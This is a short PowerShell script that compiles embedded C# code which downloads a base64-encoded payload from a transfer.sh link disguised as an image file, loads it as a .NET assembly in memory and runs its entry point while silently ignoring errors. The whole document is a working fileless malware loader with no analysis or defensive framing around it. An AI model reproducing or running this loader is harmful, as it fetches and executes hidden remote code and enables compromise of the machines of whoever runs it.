$cy = @" using System.Net; using System.Reflection; using System; using System.Threading; namespace Cyberdyne { public class System { public void Rock() { using (WebClient wc = new WebClient()) { new Thread(() => { try { Assembly assembly = AppDomain.CurrentDomain.Load(Convert.FromBase64String(wc.DownloadString("https://transfer.sh/get/nPizhA/Data.png"))); MethodInfo methodInfo = assembly.EntryPoint; object[] parameters = new object[1]; // C# if (methodInfo.GetParameters().Length == 0) { parameters = null; // VB.NET } methodInfo.Invoke(0, parameters); } catch { return; } }) { IsBackground = false }.Start(); } } } } "@ Add-Type -TypeDefinition $cy; $wow= New-Object Cyberdyne.System; $wow.Rock();